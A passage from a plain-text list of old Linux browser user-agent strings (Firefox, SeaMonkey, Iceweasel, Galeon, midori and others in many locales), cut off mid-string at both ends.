Firefox/1.0.6 SUSE/1.0.6-16\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 SUSE/1.0.7-0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20051007 Galeon/1.3.21 (Debian package 1.3.21-8)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.13) Gecko/20060417\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1) Gecko/20061027 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.1) Gecko/20070131 BonEcho/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) (Charlotte/0.9t; http://www.searchme.com/support/)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080126 Firefox/2.0.0.11 Flock/1.0.8\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0 MEGAUPLOAD 1.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.12pre) Gecko/20080103 BonEcho/2.0.0.12pre\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080913 Firefox/2.0.0.17 Flock/1.2.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/20060201 Firefox/2.0.0.6 (Ubuntu-dapper)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9) Gecko/20070314 GranParadiso/3.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009020414 CentOS/3.0.6-1.el5.centos Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.15) Gecko/20101027 SeaMonkey/2.0.10\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.9) Gecko/20100317 Firefox/3.5.9 Seamonkey/2.0.4\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1) Gecko/20061024 Iceweasel/2.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.9.0.6) Gecko/20080528 Epiphany/2.22 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686 (x86_64); es-ES; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.7.12) Gecko/20051010 Debian/1.7.12-0ubuntu2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (X11; U; Linux i686 (x86_64); hu; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 (x86_64); pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686 (x86_64); zh-CN; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux)\nMozilla/5.0 (X11; U; Linux i686) Gecko/20030327 Galeon/1.3.4 Debian/1.3.3.20030419-1\nMozilla/5.0 (X11; U; Linux i686) Gecko/20030430 Galeon/1.3.4 Debian/1.3.4.20030509-1\nMozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nMozilla/5.0 (X11; U; Linux i686; ca-AD; rv:1.9.0.3) Gecko/2008092816 Iceweasel/3.0.3 (Debian-3.0.3-3)\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.0.7) Gecko/2009032316 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6\nMozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; cs-cz) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; cs; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; cs; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2\nMozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; da; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; da; rv:1.8.1.3) Gecko/20070404 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523 midori/0.1\nMozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523+ (KHTML like Gecko) midori/0.1\nMozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523+ midori/0.1\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:0.9.8) Gecko/20020204\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.1) Gecko/20020913 Debian/1.1-1\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2) Gecko/20021203\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021204\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2a) Gecko/20020910\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030312\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030327 Debian/1.3-4\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030430 Debian/1.3-5\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3b) Gecko/20030210\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030812\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030908 Debian/1.4-4\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.5) Gecko/20031007\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040114\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040114 Epiphany/1.0.7\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040115\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.10) Gecko/20050722\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.10) Gecko/20050727\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20050923 Fedora/1.7.12-1.5.1\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040804\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040810 Debian/1.7.2-2\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040906\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.7) Gecko/20050415\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.8) Gecko/20050718 Firefox/1.0.4 (Debian package 1.0.4-2sarge1)\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.15) Gecko/20080620 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.15) Gecko/20080620 Mozilla/4.0\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.6.0\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3\nMozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6\nMozilla/5.0 (X11; U; Linux i686; de-CH; rv:1.7.12) Gecko/20051020 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050825 Firefox/1.0.4 (Debian package 1.0.4-2sarge3)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050912 Firefox/1.0.6 (Ubuntu package 1.0.6)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050920 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8) Gecko/20051201 Fedora/1.5-1.1.fc4.nr Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.9) Gecko/20071103 Midori/0.0.10\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.9 (Debian-3.0.9-1)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.7) Gecko/2009030422 Linux Mint/5 (Elyssa) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.8) Gecko/2009033017 GranParadiso/3.0.8\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.16) Gecko/20101124 SUSE/2.0.11-2.2 SeaMonkey/2.0.11\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.18) Gecko/20110324 Iceweasel/3.5.18 (like Firefox/3.5.18)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.9 (like Firefox/3.5.9)\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1a2pre) Gecko/20080826020557 Minefield/3.1a2pre\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.13) Gecko/20101205 Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux i686; de-at) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; de-de) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; de-de) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori\nMozilla/5.0 (X11; U; Linux i686; de-de; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-0.1 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060922 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 